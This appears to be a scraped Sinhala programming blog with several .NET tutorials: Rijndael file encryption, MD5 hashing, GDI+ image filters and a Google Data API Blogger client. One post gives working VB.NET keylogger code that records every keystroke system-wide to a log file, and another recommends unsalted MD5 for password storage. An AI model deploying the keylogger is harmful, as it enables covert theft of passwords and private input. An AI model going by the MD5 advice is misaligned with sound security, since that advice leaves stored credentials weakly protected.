මෙහිදී Rfc2898DeriveBytes Class එකේ Constructor එකට password එක හා salt එක දී තිබෙනවා. ඉන් පසු RijndaelManaged object එකෙහි Key එක ලබා ගන්න පුලුවන්. මෙහි IV (Initial Vector) යනුවෙන්ද Property එකක් ඇති බව දැක ගත හැකියි. මින් සිදු වන්නේ Encrypt කරන ලද දත්ත තව දුරටත් ආරක්ෂා කිරීමක්. මෙයද Key එක මෙන් Encrypt කිරීම හා Decrypt කිරීම යන අවස්ථා දෙකටම අවශ්ය වෙනවා. පහත Code එකෙන් දැක්වෙන්නේ Plain text ආකාරයට ඇති File එකක් Encrypt කරන ආකාරයයි.
FileStream input = new FileStream(@"c:\myfile.txt", FileMode.Open, FileAccess.Read); FileStream output = new FileStream(@"c:\myencfile.txt", FileMode.Create, FileAccess.Write); byte[] encdata = new byte[input.Length]; input.Read(encdata, 0, (int)input.Length); ICryptoTransform crypto = enc.CreateEncryptor(); CryptoStream str = new CryptoStream(output, crypto, CryptoStreamMode.Write); str.Write(encdata, 0, encdata.Length); str.Close(); input.Close(); output.Close();මෙහිදී Encrypt කර ගැනීමට අවශ්ය File එක Open කර ගැනීමට input යනුවෙන්ද, Encrypt වූ File එක Save කර ගැනීමට output යනුවෙන්ද FileStream දෙකක් භාවිතා කර තිබෙනවා. ඉන්පසු encdata නමින් byte Array එකක් සාදා input එකෙහි ඇති Data එයට ලියා ගෙන ඇත.
මෙහිදී Encrypt කරන ලද දත්ත output File Stream එකට ලියාගැනීමට CryptoStream Object එකක් භාවිතා කරන්න පුලුවන්.
මේ අකාරයෙන් Encrypt කරන ලද File එක පහත ආකාරයට Decrypt කරගන්න පුළුවන්. මෙහිදී Key එක හා IV එක, Encrypt කිරීමේදී යොදා ගත් ආකාරයෙන්ම යොදාගත යුතුයි. ඒ සඳහා password එක හා salt එක එකම ආකාරයෙන් ලබා දිය යුතුයි.
string password = "mypassword";
byte[] salt = Encoding.ASCII.GetBytes("salt value");
Rfc2898DeriveBytes keygen = new Rfc2898DeriveBytes(password, salt);
RijndaelManaged dec = new RijndaelManaged();
dec.Key = keygen.GetBytes(dec.KeySize / 8);
dec.IV = keygen.GetBytes(dec.BlockSize / 8);
FileStream input = new FileStream(@"c:\myencfile.txt", FileMode.Open, FileAccess.Read);
FileStream output = new FileStream(@"c:\mydecfile.txt", FileMode.Create, FileAccess.Write);
ICryptoTransform crypto = dec.CreateDecryptor();
CryptoStream str = new CryptoStream(input, crypto, CryptoStreamMode.Read);
byte[] decdata = new byte[input.Length];
str.Read(decdata, 0, (int)input.Length);
output.Write(decdata, 0, decdata.Length);
str.Close();
input.Close();
output.Close();
මේ අපි කලේ Symmetric key encription කියන ආකාරය. ඒ කියන්නේ Encrypt කිරීමට හා Decrypt කිරීමට එකම Key එකක් භාවිතා කිරීම. ඊළඟ ලිපියෙන් බලමු Asymmetric key encription ආකාරය ගැන.
Posted by
Ranga
at
8:55 PM
8
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Monday, December 20, 2010
Calculating The Hash Value
Hash value එකක් කියල කියන්නෙ යම් කිසි File එකක හෝ වෙනත් කිසියම් data එකක ඇති අන්තර්ගතයට අනුව ලබා ගන්නා අගයක්. අපි එක් වරක් යම් කිසි File එකක Hash එක ලබා ගෙන එම File එකෙහි අන්තර්ගතයෙහි යම් කිසි වෙනස් කමක් කර නැවතත් Hash එක ලබා ගත්තොත් එම ලැබෙන Hash එක අපි මුලින් ගත් Hash එකට වඩා වෙනස් වෙනවා. යම් File එකක මුලින් තිබූ අන්තර්ගතය කිසි යම් පුද්ගලයෙකු විසින් හෝ වෙනත් අකාරයකින්(වෛරස් එකක බලපෑමකින්) වෙනස් කර ඇතිද යන්න නිශ්චිතවම දැන ගැනීමට මෙම Hash එක පාවිච්චි කරන්න පුලුවන්.
Hash Value එක ලබා ගැනීමට Hash algorithms පාවිච්චි කරනවා. .NET Framework එකත් සමඟ ප්රධාන වශයෙන් Hash algorithms 6 ක් පාවිච්චි කරන්න පුලුවන්. ඒවා නම් MD5, RIPEMD160, SHA1, SHA256, SHA384, SHA512. අපි දැන් බලමු MD5 algorithm එක පාවිච්චි කරල File එකක Hash එක ලබා ගන්නෙ කොහොමද කියල. NET Framework එකෙහි මෙය Implement කරල තියෙන්නෙ MD5CryptoServiceProvider Class එකෙහිය. මුලින්ම පහත Code එක ලියා ගන්න.
මේ අපි බැලුවෙ File එකක Hash value එක ලබා ගන්න හැටි. දැන් අපි බලමු String එකක Hash එක ලබා ගන්න හැටි. Web site හදන අයට මේක වැදගත් වෙන්න පුලුවන්. අපි හිතමු User accounts පාවිච්චි කරල Log වෙන්න හදන Site එකක් කියල. මෙතනදී කවුරුත් දන්න දේ තමයි අපි මුලින්ම Site එකේ Register වෙද්දි අපි දෙන User name එකයි Password එකයි Database එකක Save කර ගන්න එක. ඊට පස්සෙ නැවත Site එකට Log වෙද්දි අපේ User name එකයි Password එකයි ලබා දීල ඒක Database එකේ Save කරල තියෙන User name එකයි Password එකයී එක්ක ගැලපෙනවනම් Site එකට Log වෙන්න පුලුවන්. දැන් මෙතන තියෙන ප්රශ්නෙ තමයි කවුරුහරි Hacher කෙනෙක් මේ Database එක ඇතුලට ගියොත් එයාට ගෙඩි පිටින්ම අර Passwords ලබා ගන්න පුලුවන්. මේක නවත්තන්න තියෙන එක ක්රමයක් තමයි Password එක Encrypt කරල Database එකේ Save කර ගන්න එක. Encrypt කරන විදිය ගැන මම ඉදිරි ලිපියක ලියන්නම්. අනිත් ක්රමය තමයි Password එක වෙනුවට Password එකේ Hash එක Database එකේ Save කර ගන්න එක. මෙතනදි වෙන්නෙ කෙනෙක් තමන්ගෙ User name එක හා Password එක පාවිච්චි කරල Site එකට Log වෙද්දි ඒ දෙන Password එකේ Hash එක ලබා ගෙන, ඒක Database එකේ තියෙන Password එකේ Hash එකත් එක්ක සන්සන්දනය කිරීමක්. මෙහෙම කලාම යම් විදියකින් Hacker කෙනෙක් Database එකට ඇතුලු වුනත් එයාට නියම Password එක ලබා ගන්න බැරිවෙනව. හොඳයි අපි දැන් බලමු කොහොමද මේක කරන්නෙ කියල. මෙතනදි වෙන්නෙත් කලින් දෙයම තමයි. හැබැයි මෙතනදි File Stream එක හා Binary Reader එක අවශ්ය වෙන්නේ නැහැ. පලමුව පහත පරිදි Namespace Import කර ගන්න.
System.Text Namespace එක පාවිච්චි කරල තියෙනව. දැන් පහත Code එක ලියා ගන්න
එහෙනම් අදට නැවතුනා. අයිත් දවසක හම්බ වෙමු. ජයවේවා.
Hash Value එක ලබා ගැනීමට Hash algorithms පාවිච්චි කරනවා. .NET Framework එකත් සමඟ ප්රධාන වශයෙන් Hash algorithms 6 ක් පාවිච්චි කරන්න පුලුවන්. ඒවා නම් MD5, RIPEMD160, SHA1, SHA256, SHA384, SHA512. අපි දැන් බලමු MD5 algorithm එක පාවිච්චි කරල File එකක Hash එක ලබා ගන්නෙ කොහොමද කියල. NET Framework එකෙහි මෙය Implement කරල තියෙන්නෙ MD5CryptoServiceProvider Class එකෙහිය. මුලින්ම පහත Code එක ලියා ගන්න.
Imports System.Security.Cryptography Imports System.IOමෙහිදී MD5CryptoServiceProvider Class එක සඳහා System.Security.Cryptography Namespace එකද, File එකක් Open කර ගැනීමට භාවිතා කරන FileStream Class එක සඳහා System.IO Namespace එකද ලබාදී ඇත. ඉන් පසු පහත Code එක ලියා ගන්න.
Private Sub CalculateHash() Dim hashAlgo As New MD5CryptoServiceProvider() Dim filePath As String = "file path" Dim file As New FileStream(filePath, FileMode.Open, FileAccess.Read) Dim binary As New BinaryReader(file) hashAlgo.ComputeHash(binary.ReadBytes(file.Length)) MsgBox(Convert.ToBase64String(hashAlgo.Hash)) End Subමෙහිදී මුලින්ම hashAlgo නමින් MD5CryptoServiceProvider Class එක භාවිතාකර Object එකක් සාදා ගෙන ඇත. අපි Hash එක ලබා ගැනීමට හාවිතා කරන්නේ මෙම Object එකයි. ඉන් පසු Hash එක ලබා ගැනීමට අවශ්ය File එකෙහි Path එක ලබා දීමට filePath යනුවෙන් Variable එකක් Declare කර ගෙන ඇත. පසුව filePath එක භාවිතා කර file යනුවෙන් FileStream එකක් සාදා ගෙන ඇත. Hash එක ලබා ගැනීම සඳහා අදාල Data, byte array එකක් වශයෙන් ලබා දිය යුතුය. එම නිසා මෙහි binary යනුවෙන් BinaryReader එකක් භාවිතා කර ඇත. BinaryReader එකෙහි ReadBytes Method එක භාවිතා කර FileStream එකෙහි ඇති Data, byte array එකක් වශයෙන් ලබා ගත හැක. අවසානයේදී Hash එක ලබා ගැනීම සඳහා hashAlgo එකෙහි ComputeHash method එක භාවිතා කර ඇත. ලබා ගත් Hash එක බලා ගැනීම සඳහා hashAlgo එකෙහි Hash Method එක භවිතා කරන්න, Hash Method එක මඟින් Return වන්නේ byte array එකකි. එය String එකක් බවට පත් කර ගැනීමට Convert Class එකෙහි ToBase64String Method එක භවිතා කර ඇත. අවසානයේදී String එකක් වශයෙන් ලබාගත් Hash එක පෙන්වීමට Message box එකක් යොදා ගෙන ඇත.
මේ අපි බැලුවෙ File එකක Hash value එක ලබා ගන්න හැටි. දැන් අපි බලමු String එකක Hash එක ලබා ගන්න හැටි. Web site හදන අයට මේක වැදගත් වෙන්න පුලුවන්. අපි හිතමු User accounts පාවිච්චි කරල Log වෙන්න හදන Site එකක් කියල. මෙතනදී කවුරුත් දන්න දේ තමයි අපි මුලින්ම Site එකේ Register වෙද්දි අපි දෙන User name එකයි Password එකයි Database එකක Save කර ගන්න එක. ඊට පස්සෙ නැවත Site එකට Log වෙද්දි අපේ User name එකයි Password එකයි ලබා දීල ඒක Database එකේ Save කරල තියෙන User name එකයි Password එකයී එක්ක ගැලපෙනවනම් Site එකට Log වෙන්න පුලුවන්. දැන් මෙතන තියෙන ප්රශ්නෙ තමයි කවුරුහරි Hacher කෙනෙක් මේ Database එක ඇතුලට ගියොත් එයාට ගෙඩි පිටින්ම අර Passwords ලබා ගන්න පුලුවන්. මේක නවත්තන්න තියෙන එක ක්රමයක් තමයි Password එක Encrypt කරල Database එකේ Save කර ගන්න එක. Encrypt කරන විදිය ගැන මම ඉදිරි ලිපියක ලියන්නම්. අනිත් ක්රමය තමයි Password එක වෙනුවට Password එකේ Hash එක Database එකේ Save කර ගන්න එක. මෙතනදි වෙන්නෙ කෙනෙක් තමන්ගෙ User name එක හා Password එක පාවිච්චි කරල Site එකට Log වෙද්දි ඒ දෙන Password එකේ Hash එක ලබා ගෙන, ඒක Database එකේ තියෙන Password එකේ Hash එකත් එක්ක සන්සන්දනය කිරීමක්. මෙහෙම කලාම යම් විදියකින් Hacker කෙනෙක් Database එකට ඇතුලු වුනත් එයාට නියම Password එක ලබා ගන්න බැරිවෙනව. හොඳයි අපි දැන් බලමු කොහොමද මේක කරන්නෙ කියල. මෙතනදි වෙන්නෙත් කලින් දෙයම තමයි. හැබැයි මෙතනදි File Stream එක හා Binary Reader එක අවශ්ය වෙන්නේ නැහැ. පලමුව පහත පරිදි Namespace Import කර ගන්න.
Imports System.Security.Cryptography Imports System.Textමෙහිදී Hash එක හොයන්න අවශ්ය කරන String එක පාවිච්චි කරල byte array එකක් ලබා ගැනීමට Encoding කියන Class අවශ්ය වෙනව. ඒ සඳහා
System.Text Namespace එක පාවිච්චි කරල තියෙනව. දැන් පහත Code එක ලියා ගන්න
Private Sub CalculateHash() Dim password As String = "mypassword" Dim binary As Byte() = Encoding.ASCII.GetBytes(password) Dim hashAlgo As New MD5CryptoServiceProvider() hashAlgo.ComputeHash(binary) MsgBox(Convert.ToBase64String(hashAlgo.Hash)) End Subමෙහිදී Hash එක හොයන්න අවශ්ය String එක සඳහා password යනුවෙන් Variable එකක් Declare කර ගෙන තියෙනවා. Encoding.ASCII.GetBytes මගින් String එකෙහි byte array එකක් ලබා ගෙන තියෙනවා. ඊට පසුව ඇති දේවල් පෙර පරිදිමයි.
එහෙනම් අදට නැවතුනා. අයිත් දවසක හම්බ වෙමු. ජයවේවා.
Posted by
Ranga
at
2:26 PM
4
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Sunday, December 12, 2010
GDI+ භාවිතයෙන් Pictures වලට Effects යෙදීම - දෙවන කොටස
පසුගිය ලිපියෙන් GDI+ භාවිතා කරල Picture එකකට Effects ලබා දීම ගැන කථා කලා. අද ලිපියෙනුත් තවත් Effects කිහිපයක් ලබා දෙන අකාරය ගැන බලමු.
Brightness එක වැඩි කිරීම.
මේ සඳහා පහත Code එක භාවිතා කරන්න.
Brightness එක අඩු කිරීම.
මේ සඳහා පහත Code එක භාවිතා කරන්න.
Download
මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්ය වේ.
Brightness එක වැඩි කිරීම.
මේ සඳහා පහත Code එක භාවිතා කරන්න.
Private Sub Brightness()
Dim img As New Bitmap(picImage.Image)
Dim colX As Integer
Progressbar.Maximum = img.Width
For Xpos = 0 To img.Width - 1
For Ypos = 0 To img.Height - 1
colR = img.GetPixel(Xpos, Ypos).R
colG = img.GetPixel(Xpos, Ypos).G
colB = img.GetPixel(Xpos, Ypos).B
colX = (colR + colG + colB) / 3
colX = colX / 10
colR = Math.Min((colR + colX), 255)
colG = Math.Min((colG + colX), 255)
colB = Math.Min((colB + colX), 255)
img.SetPixel(Xpos, Ypos, Color.FromArgb(colR, colG, colB))
Next
Progressbar.Value = Xpos
Next
picImage.Image = img
Progressbar.Value = 0
End Sub
මෙහි colX = colX / 10 යන්නෙහි 10 වෙනුවට වෙනත් අගයක් යෙදීමෙන් Brightness එක අවශ්ය පරිදි වෙනස් කර ගන්න පුලුවන්.Brightness එක අඩු කිරීම.
මේ සඳහා පහත Code එක භාවිතා කරන්න.
Private Sub Darkness()
Dim img As New Bitmap(picImage.Image)
Dim colX As Integer
Progressbar.Maximum = img.Width
For Xpos = 0 To img.Width - 1
For Ypos = 0 To img.Height - 1
colR = img.GetPixel(Xpos, Ypos).R
colG = img.GetPixel(Xpos, Ypos).G
colB = img.GetPixel(Xpos, Ypos).B
colX = (colR + colG + colB) / 3
colX = colX / 10
colR = Math.Min(Math.Abs((colR - colX)), 255)
colG = Math.Min(Math.Abs((colG - colX)), 255)
colB = Math.Min(Math.Abs((colB - colX)), 255)
img.SetPixel(Xpos, Ypos, Color.FromArgb(colR, colG, colB))
Next
Progressbar.Value = Xpos
Next
picImage.Image = img
Progressbar.Value = 0
End Sub
මා මෙම ලිපි දෙකෙන්ම ඉදිරිපත් කරපු දේවල් එකතු කරල පොඩි Application එකක් හදල තියෙනව. පහත Link එකෙන් එය Download කරගන්න.Download
මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්ය වේ.
Posted by
Ranga
at
8:53 PM
3
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Sunday, November 14, 2010
GDI+ භාවිතයෙන් Pictures වලට Effects යෙදීම
GDI+ කියන්නෙ Windows applications සඳහා භාවිතා කල හැකි API එකක්. විවිධ ආකාරයේ Graphics contents පෙන්වීමට හා එවා Print කර ගැනීමට අවශ්ය පහසුකම් මින් සපයනවා. අද මම පෙන්වන්න හදන්නෙ GDI+ භාවිතා කරල අපි ලඟ තිබෙන පින්තූරයක විවිධ වෙනස්කම් කරන්නෙ කොහොමද කියලයි. හරියට Photoshop වල Filters දානව වගෙ වැඩක්. මෙහිදී වෙන්නෙ අපේ Image එකේ තියෙන එක එක Pixel එකේ තියෙන Red, Green හා Blue Values වෙන වෙනම සොයාගෙන අපි දාන්න හදන Effect එකට අදාල විදියට වර්ණ වෙනස් කරල නැවතත් එම Pixel එකටම ඇතුලත් කිරීමයි. අපි මුලින්ම බලමු Grayscale effect එක ලබා දෙන්නෙ කොහොමද කියල. මුලින්ම පහතින් දැක් වෙන Variables ටික Class declaration එකට පහලින් Declare කර ගන්න.
Emboss Effect එක ලබා දීම.
මේ සඳහා පහත Code භාවිතා කරන්න.
මීලඟ ලිපියෙන් තවත් Effects කිහිපයක් හා මේ Effects සියල්ල එක් කර සාදා ගත් Application එකක් ලබා දෙන්න බලාපොරොත්තු වෙනවා. එහෙනම් අදට නවතිනව.
Private Xpos As Integer Private Ypos As Integer Private colR As Integer Private colG As Integer Private colB As Integerමෙහි Xpos හා Ypos වලින් එක් එක් Pixel එකේ X හා Y අගයන් ලබා ගැනීමද colR, colG හා colB වලින් එක් එක් Pixel එකේ Red, Green හා Blue Values ලබා ගැනීමද කරනවා. දැන් Grayscale effect එක සඳහා පහත Code එක ලියා ගන්න.
Private Sub Grayscale()
Dim img As New Bitmap(picImage.Image)
Dim colRGB As Integer
Progressbar.Maximum = img.Width
For Xpos = 0 To img.Width - 1
For Ypos = 0 To img.Height - 1
colR = img.GetPixel(Xpos, Ypos).R
colG = img.GetPixel(Xpos, Ypos).G
colB = img.GetPixel(Xpos, Ypos).B
colRGB = (colR * 0.33) + (colG * 0.33) + (colB * 0.33)
img.SetPixel(Xpos, Ypos, Color.FromArgb(colRGB, colRGB, colRGB))
Next
Progressbar.Value = Xpos
Next
picImage.Image = img
Progressbar.Value = 0
End Sub
මුලින්ම මෙහි සිදුකර ඇත්තේ img යනුවන් Bitmap Object එකක් සාදා ගැනීමයි. මෙහි Constructor එක වශයෙන් picImage නැමති Picture Box එකෙහි Image එක භාවිතා කර තිබෙනවා. ඉන් පසු For loops දෙකක් භාවිතා කර img Object එකෙහි එක් එක් Pixel එකෙහි ඇති R,G හා B Values Variables වලට අරගෙන තියෙනවා. Bitmap Class එකෙහි GetPixel function එකෙන් Pixel වල වර්ණය ලබා ගත හැකියි. ඉන් පසු කර ඇත්තෙ colRGB යනුවෙන් නව වර්ණයක් සාදා ගැනීමයි. නව වර්ණය සාදා ගැනීම සඳහා එක් එක් R,G හා B Values 0.33 ගුණ කර නැවත ඒ සියල්ල එකට එකතු කර ගෙන ඇත. ඉන් පසු මෙම නව වර්ණය මුලින් වර්ණ ලබා ගත් Pixel එකටම SetPixel Function එක මඟින් ඇතුලත් කර ගෙන තිබෙනවා. අවසානයේ දී picImage.Image = img යන්නෙන් අපි Grayscale අකාරයට වෙනස් කර ගත් img Object එක picImage වල Image එක වශයෙන් ලබා දී තිබෙනවා. මීට අමතරව මා මෙහි Progress bar එකක් ද භාවිතා කර ඇත. පහතින් මම ලබා ගත් මුල් රූපය හා Grayscale ආකාරයට වෙනස් කර ගත් රූපය දක්වා ඇත.Emboss Effect එක ලබා දීම.
මේ සඳහා පහත Code භාවිතා කරන්න.
Private Sub Emboss(ByVal amount As Byte)
Dim img As New Bitmap(picImage.Image)
Dim colR1 As Integer
Dim colG1 As Integer
Dim colB1 As Integer
Progressbar.Maximum = img.Width
For Xpos = 0 To img.Width - (amount + 1)
For Ypos = 0 To img.Height - (amount + 1)
colR = img.GetPixel(Xpos, Ypos).R
colG = img.GetPixel(Xpos, Ypos).G
colB = img.GetPixel(Xpos, Ypos).B
colR1 = img.GetPixel(Xpos + amount, Ypos + amount).R
colG1 = img.GetPixel(Xpos + amount, Ypos + amount).G
colB1 = img.GetPixel(Xpos + amount, Ypos + amount).B
colR = Math.Min(Math.Abs((colR - colR1) + 128), 255)
colG = Math.Min(Math.Abs((colG - colG1) + 128), 255)
colB = Math.Min(Math.Abs((colB - colB1) + 128), 255)
img.SetPixel(Xpos, Ypos, Color.FromArgb(colR, colG, colB))
Next
Progressbar.Value = Xpos
Next
picImage.Image = img
Progressbar.Value = 0
End Sub
මෙහිදී ද කලින් මෙන් එක් එක් Pixel එකෙහි වර්ණය ලබා ගෙන එම වර්ණය යම් ආකාරයකට වෙනස් කර නැවත එම Pixel එකටම ආදේශ කරගෙන ඇත. මීට අමතරව මෙහිදී මම amount යනුවෙන් Parameter එකක් භාවිතා කර ඇති අතර මින් Emboss විය යුතු ප්රමාණය ලබා දිය හැකිය. පහතින් මම ලබා ගත් මුල් රූපය හා Emboss කර ගත් රූපය දක්වා ඇත.මීලඟ ලිපියෙන් තවත් Effects කිහිපයක් හා මේ Effects සියල්ල එක් කර සාදා ගත් Application එකක් ලබා දෙන්න බලාපොරොත්තු වෙනවා. එහෙනම් අදට නවතිනව.
Posted by
Ranga
at
12:35 AM
0
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Labels:
.NET,
Algorithms,
GDI+,
VB
Friday, October 8, 2010
Capturing Key Stroke
අද ටිකක් විතර Illegal වැඩක් ගැන ලියන්න හිතුනා. Illegal කිව්වට ඉතින් මේක Illegal නොවන අවස්ථාත් ඕන තරම් තියෙනව. හැබැයි ඉතින් අපේ කට්ටිය මේව පාවිච්චි කරන්නෙ නම් හොර වැඩ කරන්න. කට්ටිය අහල ඇතිනේ Key loggers ගැන. මේව Hardware device එකක් වෙන්නත් පුළුවන් එහෙමත් නැත්නම් Software එකක් වෙන්නත් පුළුවන්. අද ලියන්න හදන්නෙ මේ Key logger software වල පාවිච්චි කරන්න Key stroke එක Capture කර ගන්න හැටි. දැන් සමහරු හිතනව ඇති මම මේ හොර වැඩ කරන්න උගන්වනව කියල. නමුත් මේක හොර වැඩ වලට වගේම හොර නොවන වැඩ වලටත් පාවිච්චි කරන්න පුළුවන්. ඒක ඉතින් පාවිච්චි කරන කෙනා තීරණය කරාවි.
හරි මෙහෙමයි වැඩේ සිද්ධ වෙන්නෙ. අපිට මේකට අවශ්ය වෙනව API එකක්. අපි ඒ Function එක Declare කර ගනිමු. මුලින්ම Code Editor එකේ උඩින්ම මෙහෙම ලියා ගන්න.
Imports System.Runtime.InteropServices
දැන් Class definition එක ඇතුලෙ මෙහෙම ලියා ගන්න.
හරි මෙහෙමයි වැඩේ සිද්ධ වෙන්නෙ. අපිට මේකට අවශ්ය වෙනව API එකක්. අපි ඒ Function එක Declare කර ගනිමු. මුලින්ම Code Editor එකේ උඩින්ම මෙහෙම ලියා ගන්න.
Imports System.Runtime.InteropServices
දැන් Class definition එක ඇතුලෙ මෙහෙම ලියා ගන්න.
DllImport("User32.dll")> _
Private Shared Function GetAsyncKeyState(ByVal Key As Integer) As Integer
End Function
GetAsyncKeyState කියන එකෙන් වෙන්නේ යම් කිසි අවස්ථාවක මෙහි Parameter එක වශයෙන් දෙන Key එක Press වෙලාද නැද්ද කියල හොයා ගන්න එක. දැන් Form එකට Timer එකක් එකතු කරගන්න. Timer එකේ Enabled Property එකත් True කර ගන්න. දැන් Class Definition එකට පහලින් මෙන්න මේ Objects ටික Declare කර ගන්න.Private fs As New FileStream("C:\Log.txt", FileMode.Append)
Private sw As New StreamWriter(fs)
මෙතනදී කරල තියෙන්නෙ FileStream Object එකක් හා StreamWriter Object එකක් සාදා ගැනීමයි. FileStream එකෙහි Path එක විදියට මම C:\Log.txt කියන එක දීල තියනව. FileModeඑක විදියට Append යන්න භාවිතා කරල තියෙනව. ඊට පස්සෙ Timer එකේ Tick Event handler එක ඇතුලෙ පහල එක ලියාගන්න.For Each x As Integer In [Enum].GetValues(GetType(Keys)) If GetAsyncKeyState(x) = -32767 Then sw.Write([Enum].GetName(GetType(Keys), x)) sw.Flush() End If Nextමුලින්ම මම For Each Loop එකක් පාවිච්චි කරල තියනව. ඒ වගේම මෙතන Enum කියන Class එකේ GetValues කියන Function එක පාවිච්චි කරල තියනව. මේ Function එකෙන් වෙන්නෙ යම් කිසි enumerator එකක තියෙන Constants වල Values ලබා ගන්න එක. මෙහිදී Values ලබා ගන්න අවශ්ය enumerator එක වශයෙන් Keys කියන enumerator එක දීල තියෙනවා. For Each Loop එකෙන් මෙම ලබා ගන්න Values එකින් එක x කියන Variable එකට දාගන්නව. ඊට පස්සෙ මම If Statement එකත් එක්ක GetAsyncKeyState Function එක Call කරල තියෙනව. මෙතනදී වෙන්නෙ x කියන Variable එකේ තියෙන Key එක මෙම අවස්ථාවේ දී Press වෙලා තියෙනවද නැත්ද කියල බලා ගැනීමයි. ඊලඟ Statement එකෙන් වෙන්නෙ අදාල Key එකෙ Press වෙලා තියනවනම් ඊට අදාල Constant Name එක ලබාගෙන එය File Stream එකට ලිවීමයි. දැන් Program එක Run කරල බලන්න. ඔයගොල්ලො මොන Window එකේ මොනව Type කලත් ඒක FileStream එකේ දීපු Path එකේ Save වේවි. මේකෙත් පොඩි පොඩි අඩුපඩු තියනව. පුලුවන්නම් ඒව හදල හොඳ වැඩකට මේක පාවිච්චි කරන්න. එහෙනම් අදට නැවතුනා.
Posted by
Ranga
at
2:28 AM
2
comments
Email ThisBlogThis!Share to XShare to FacebookShare to Pinterest
Tuesday, October 5, 2010
Google Data API
මෙම Post එකෙන් මම ලියන්න හදන්නෙ Google Data API පාවිච්චි කරල .NET වලින් Blogger සඳහා Client application එකක් හදා ගන්නෙ කොහොමද කියලයි. Google Data API පාවිච්චි කරල අපිට පුළුවන් Google මඟින් සපයන නොයෙකුත් සේවාවන් සමඟ සම්භන්ධ වීමට Applications හදා ගන්න. ඒ කියන්නෙ Blogger, Picasa, Google calendar, Google spreadsheets, YouTube වැනි සේවාවන් සමඟ සම්භන්ධ වීමට අපේම Applications ලියා ගන්න.
මුලින්ම කරන්න ඕන Google Data API Download කරගන්න එක. මේ සඳහා මෙම ලින්ක් එක පාවිච්චි කරන්න. http://code.google.com/p/google-gdata/downloads/detail?name=Google%20Data%20API%20Setup%20%281.6.0.0%29.msi&can=2&q= මේක Download වුනයින් පස්සෙ Install කර ගන්න. මේකත් එක්ක ගොඩක් Sample codes අපට ලබා දෙනව. Blogger client එක සඳහා අවශ්ය වෙන codes ද මෙහිදී ලබා ගන්න පුළුවන්. මම බලාපොරොත්තු වෙන්නෙ එම Code එක සරල පැහැදිලි කිරීමක් සහිතව ඉදිරිපත් කරන්නයි. හරි දැන් අපි සූදානම් වැඩේ පටන් ගන්න. මම මේ Program එක ලියන්න යන්නෙ VB වලින් නමුත් C# වුවද මේ සඳහා භාවිතා කල හැකියි.
ප්රථමයෙන්ම මම පහත රූපයෙ දැක්වෙන විදියට User interface එක design කර ගෙන තියෙනවා. මෙහිදී මම User ව Authenticate කර ගන්න User name එක හා Password එක ලබා දීමට Text boxes දෙකක් පාවිච්චි කරල තියනවා. ඒවගේම එම User ට අයිති බ්ලොග් අඩවි පෙන්වීම සඳහා Combo box එකක් පාවිච්චි කරල තියනවා. ඒවගේම Sign in Button එක මඟින් User ව Authenticate කර ගැනීම හා User ට අයිති බ්ලොග් අඩවි Combo box එකෙහි දැක්වීම සිදුකරනවා. පහල කොටසින් Combo box එක මඟින් තෝරා ඇති බ්ලොග් එක සඳහා අළුත් Post එකක් එකතු කිරීම සිදුකරනවා.
දැන් කරන්න තියෙන්නෙ අදාල Class library එක අපෙ Solution එකට සම්භන්ධ කරන එක. ඒ සඳහා Solution explorer හී අපේ Project එක මත Right click කර Add Reference යන්න තෝරා ලැබෙන Dialog box එකෙහි .NET Tab එකට ගොස් එහි ඇති ලිස්ට් එකෙන් Google Data API Core Library යන්න තෝරා OK කරන්න.
දැන් අපි බලමු කොහොමද Codes ලියාගන්නෙ කියලා. මුලින්ම Code editor එකෙහි ඉහලින්ම පහත ආකාරයෙන් ලියාගන්න
Imports Google.GData.Client
දැන් අපිට Google මඟින් අපි ලබා ගන්නා සේවාව කුමක්ද කියා සඳහන් කර ගැනීමක් අවශ්ය වෙනවා. ඒ කියන්නේ අපි මෙහිදී පාවිච්චි කරන්නෙ Blogger නිසා ලබා ගන්නා සේවාව blogger යනුවෙන් සඳහන් කර ගැනීමක් අවශ්යයි. මේ සඳහා අපිට Service class එක පාවිච්චි කරන්න පුළුවන්. මෙහි Constructor එකට පහත ආකාරයට ලබා ගන්නා සේවාව හා අපගේ Application එකෙහි නම ලබා දිය යුතුයි. මෙය Instance variable එකක් වශයෙන් class definition එකට පහලින් Declare කරගන්න.
දැන් මෙම Program එක Run කර බලන්න. දැන් ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. මෙහිදී ඔබ නිවැරදි විදියට Authenticate වූවා නම් ඔබ විසින් ලියන Blogs වල Title එක Combo box එකෙහි පෙන්විය යුතුයි.
හොඳයි දැන් අපි බලමු කොහොමද අපේ Blog එකකට අළුත් Post එකක් එකතු කරන්නෙ කියල. මෙහිදී සිදු වන්නේ අපි Combo box එකෙන් අදාල Blog එක තෝරන විට එම Blog එකට අදාල Feed එක සොයා එම Feed එකට අනුව අළුත් Post එකක් එකතු වීමයි. එහෙනම් අපි මුලින්ම බලමු අපි Combo box එකෙන් Blog එකක් තෝරන විට එම Blog එකට අදාල Feed එක සොයා ගන්නේ කොහොමද කියා. මේ සඳහා Combo box එකෙහි SelectedIndexChanged Event එක භාවිතා කරන්න. දැන් මෙම Event handler එක තුල පහත Code එක ලියා ගන්න.
දැන් නැවත Program එක Run කර බලන්න. ඔබගේ User name එක හා Password එක ලබා දී Sign in button එක Click කරන්න. දැන් Combo box එක තුලින් Post එක Publish කිරීමට අවශ්ය Blog එක තෝරන්න. Post කිරීමට අවශ්ය දෙය හා එහි Title එක පහතින් ලබා දී Submit button එක Click කරන්න. සියල්ල නිවැරදිව සිදුවාවානම් ඔබගේ Post එක ඔබ තේරූ Blog එකෙහි Publish විය යුතුය.
මෙහි සම්පූර්ණ Source code එක ලබා ගැනීමට පහත Link එක භාවිතා කරන්න.
Download
මා මෙය සකස් කර ඇත්තේ .NET Framework 2.0 භාවිතයෙන් නිසා මෙය භාවිතා කිරීමට .NET Framework 2.0 හෝ ඉහල Version එකක් අවශ්ය වේ.
